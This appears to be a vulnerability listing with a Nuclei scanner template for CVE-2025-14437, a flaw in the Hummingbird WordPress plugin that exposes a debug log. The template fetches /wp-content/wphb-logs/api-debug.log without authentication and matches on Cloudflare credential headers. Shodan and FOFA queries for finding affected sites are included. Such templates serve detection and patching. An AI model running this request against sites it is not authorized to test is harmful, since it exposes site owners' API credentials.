WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File
CVE-2025-14437
Verified
Description
Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.
Severity
High
CVSS Score
7.5
Exploit Probability
32%
Affected Product
hummingbird-performance
Published Date
March 26, 2026
Template Author
pussycat0x
CVE-2025-14437.yaml
id: CVE-2025-14437
info:
name: WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File
author: pussycat0x
severity: high
description: |
Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.
impact: |
Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.
remediation: |
Update to the latest version beyond 3.18.0.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hummingbird-performance/hummingbird-3180-unauthenticated-sensitive-information-exposure-via-log-files
- https://wpscan.com/vulnerability/cve-2025-14437
- https://plugins.trac.wordpress.org/changeset/3421187/hummingbird-performance
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-14437
epss-score: 0.31739
epss-percentile: 0.96866
cwe-id: CWE-532
metadata:
verified: true
max-request: 1
vendor: wpmudev
product: hummingbird-performance
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/hummingbird-performance"
fofa-query: body="/wp-content/plugins/hummingbird-performance"
tags: cve,cve2025,wordpress,wp-plugin,hummingbird,exposure,cloudflare,wpmudev,vkev
http:
- raw:
- |
GET /wp-content/wphb-logs/api-debug.log HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "WPHB", "X-Auth-Key", "X-Auth-Email", "Authorization")'
condition: and
# digest: 4b0a00483046022100abc3c0b5a7f9399c7af348fc9d8096673ab5a3890fd1feacf9176991791612c7022100a99405138d5977932ff7c7392ea19877e007c13611468e19f94ed6600285cd77:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2025-14437
CWE ID:
cwe-532
References
Remediation Steps
Update to the latest version beyond 3.18.0.